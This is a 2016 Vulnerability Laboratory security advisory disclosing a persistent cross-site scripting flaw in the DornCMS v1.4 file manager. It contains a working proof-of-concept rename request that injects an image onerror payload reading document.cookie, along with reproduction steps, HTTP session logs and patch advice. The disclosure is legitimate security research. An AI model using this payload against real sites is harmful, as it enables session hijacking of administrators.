DornCMS 1.4 FileManager Cross Site Scripting

`Document Title:  
===============  
DornCMS v1.4 - (FileManager) Persistent Cross Site Scripting Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1885  
  
  
Release Date:  
=============  
2016-07-26  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1885  
  
  
Common Vulnerability Scoring System:  
====================================  
4.3  
  
  
Product & Service Introduction:  
===============================  
DornCMS is an extremely easy to use content management system written in PHP. It is meant for simple personal or informational websites   
that don't require a lot of interaction. This is a simple, easy to use, PHP Content Management System that is geared toward personal or   
informational websites with minimal interactivity.  
  
(Copy of the Homepage: https://sourceforge.net/projects/dorncms/ )  
  
  
Abstract Advisory Information:  
==============================  
A vulnerability laboratory core team researcher discovered an application-side input validation vulnerability in the official DornCMS v1.4 web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-07-26: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
jdorndog  
Product: DornCMS - Content Management System (Web-Application) 1.4  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A persistent cross site scripting vulnerability has been discovered in the official DornCMS v1.4 open source web-application.  
The vulnerability allows remote attackers to inject own malicious script codes to the client-side affected module or function.  
  
The vulnerability is located in the `name` parameter of the `filemanager` module. The name values inside the index listing are   
not secure parsed by the validation procedure. Thus allows remote attackers to inject via client-side GET method request of the  
filemanager own malicious script code context to the web-application. The request method to inject is GET and the attack vector   
is persistent after successful client-side execute.  
  
The security risk of the web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.3.   
Exploitation of the cross site web vulnerability requires no privileged web-application user account and only low user interaction.   
Successful exploitation of the vulnerability results in session hijacking, phishing attacks, external redirects to malicious sources   
and persistent manipulation of affected or connected application modules.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] Upload File  
  
Vulnerable Function(s):  
[+] Add  
  
Vulnerable Input(s):  
[+] Name  
  
Vulnerable Parameter(s):  
[+] name  
  
Affected Module(s):  
[+] File Manager Listing  
  
  
Proof of Concept (PoC):  
=======================  
The client-side input validation vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Inject: Upload File  
Execution: Filemanager (Delete & Rename)  
  
Manual steps to reproduce the vulnerability ... (local)  
1. Open the web application and login as privileged user  
2. Move to the filemanager by pushing the upload user button  
3. Use the basic test file by default to rename  
4. Include a script code payload as name to the new item via add GET request  
5. The payload executes in the filemanager were the name value context is listed  
6. Successful reproduce of the vulnerability!  
  
  
Manual steps to reproduce the vulnerability ... (remote)  
1. Login with an administrator test account to the web-application  
2. Now prepare with another computer with a browser  
3. Prepare a website with a client-side GET method request to rename a file in the dorncms  
4. Switch to the other PC with admin privileges and open the link with non-expired session  
5. The code will be injected via GET to the filemanager index listing (default test file ever exists)  
6. Successful reproduce of the vulnerability!  
  
  
PoC: Payload(s)  
http://dorn.localhost:8080/dorncms/cms/rename_file/?name=files%2Fexample.txt&new_name=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt(document.cookie)%3B%3E&submit=true&confirm=true&ajax=true  
<a href="/dorncms/files/ "><img src=x onerror=prompt(document.cookie);>.txt" target="_blank"> "><img src="x" onerror="prompt(document.cookie);">.txt</a>  
  
  
PoC: Filemanager - Source  
<div id="fileinfo_holder">  
Current Directory: <span id="current_path">files/</span><  
div id="fileinfo"><table class="standard">  
<tbody><tr>  
<th class="ui-state-active">&nbsp;  
</th><th class="ui-state-active">Name</th>  
<th class="ui-state-active">Preview</th>  
<th class="ui-state-active">Size</th>  
<th class="ui-state-active">&nbsp;</th>  
</tr>  
<tr><td><input value="files/ "><img src=x onerror=prompt(DOCUMENT:COOKIE);>.txt" type="checkbox"></td><td>  
<a href="/dorncms/files/ "><img src=x onerror=prompt(DOCUMENT:COOKIE);>.txt"   
target="_blank"> [SCRIPT CODE EXECUTION POINT VIA RENAME!]"><img src="x" onerror="prompt(DOCUMENT:COOKIE);">.txt</a></td>  
<td style="width: 300px;"><pre style="overflow:auto; width: 300px; max-height: 150px;">This is an example file.</pre></td>  
<td>24 bytes</td><td><a href="/dorncms/cms/delete_file/?name=files%2F+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28DOCUMENT:COOKIE%29%3B%3E.txt"   
class="ajax_link delete">delete</a> | <a href="/dorncms/cms/rename_file/?name=files%2F+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28DOCUMENT:COOKIE%29%3B%3E.txt"   
class="ajax_link rename">rename</a></td></tr></tbody></table>  
</div></div>  
  
  
--- PoC Session Logs [GET] ---  
Status: 200[OK]  
GET http://dorn.localhost:8080/dorncms/cms/rename_file/?name=files%2Fexample.txt&ajax=true   
Mime Type[application/json]  
Request Header:  
Host[dorn.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]  
Accept[application/json, text/javascript, */*; q=0.01]  
X-Requested-With[XMLHttpRequest]  
Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/]  
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469523897.1; __utmb=87180614.71.10.1469523897; __utmc=87180614;   
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A;   
fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;   
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.32c98cikwfwe.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;   
_pk_ses.2.bb5e=*; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmt=1]  
Connection[keep-alive]  
Response Header:  
Server[nginx/1.2.1]  
Content-Type[application/json]  
Connection[keep-alive]  
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]  
-  
Status: 200[OK]  
GET http://dorn.localhost:8080/dorncms/cms/rename_file/?name=files%2Fexample.txt&new_name=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt(23)%3B%3E&submit=true&confirm=true&ajax=true   
Mime Type[application/json]  
Request Header:  
Host[dorn.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]  
Accept[application/json, text/javascript, */*; q=0.01]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
X-Requested-With[XMLHttpRequest]  
Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/]  
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469523897.1; __utmb=87180614.71.10.1469523897; __utmc=87180614;   
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A;   
fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;   
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.32c98cikwfwe.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;   
_pk_ses.2.bb5e=*; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmt=1]  
Connection[keep-alive]  
Response Header:  
Server[nginx/1.2.1]  
Content-Type[application/json]  
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]  
  
-  
Status: 200[OK]  
POST http://dorn.localhost:8080/dorncms/cms/filelist/   
Mime Type[text/html]  
Request Header:  
Host[dorn.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]  
Accept[*/*]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Content-Type[application/x-www-form-urlencoded]  
X-Requested-With[XMLHttpRequest]  
Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/]  
Content-Length[13]  
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469523897.1; __utmb=87180614.71.10.1469523897; __utmc=87180614;   
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A;   
fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;   
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.32c98cikwfwe.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;   
_pk_ses.2.bb5e=*; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmt=1]  
Connection[keep-alive]  
POST-Daten:  
path[files%2F]  
Response Header:  
Server[nginx/1.2.1]  
Content-Type[text/html]  
Connection[keep-alive]  
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]  
-  
Status: 200[OK]  
GET http://dorn.localhost:8080/dorncms/cms/upload/file/x[EXECUTION OF SCRIPT CODE IN FILE!]   
Mime Type[text/html]  
Request Header:  
Host[dorn.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]  
Accept[*/*]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://dorn.localhost:8080/dorncms/cms/upload/file/]  
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469523897.1; __utmb=87180614.71.10.1469523897; __utmc=87180614;   
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A;   
fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;   
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.32c98cikwfwe.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;   
_pk_ses.2.bb5e=*; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmt=1]  
Connection[keep-alive]  
Response Header:  
Server[nginx/1.2.1]  
Content-Type[text/html]  
Transfer-Encoding[chunked]  
Connection[keep-alive]  
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]  
  
  
Reference(s):  
http://dorn.localhost:8080/  
http://dorn.localhost:8080/dorncms/  
http://dorn.localhost:8080/dorncms/cms/  
http://dorn.localhost:8080/dorncms/cms/filelist/  
http://dorn.localhost:8080/dorncms/cms/upload/file/  
http://dorn.localhost:8080/dorncms/cms/rename_file/  
http://dorn.localhost:8080/dorncms/cms/rename_file/?name=  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode of the name item input field of the filemanager in the add procedure.  
Encode and parse the output parameters of the name in the filemanager index listing. Restrict the input and disallow the   
usage of special chars to prevent client-side exploitation.  
Filter the context and escapte the entries to resolve the issue permanently within the filemanager. Implement a csrf token to deny   
automated requests via GET method.  
  
  
Security Risk:  
==============  
The security risk of the cross site scripting web vulnerability in the dorncms web-application is estimated as medium. (CVSS 4.6)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,   
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,   
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised   
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing   
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: [email protected] - [email protected] - [email protected]  
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically   
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or   
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific   
authors or managers. To record, list, modify, use or edit our material contact (admin@ or [email protected]) to get a ask permission.  
  
Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
  
`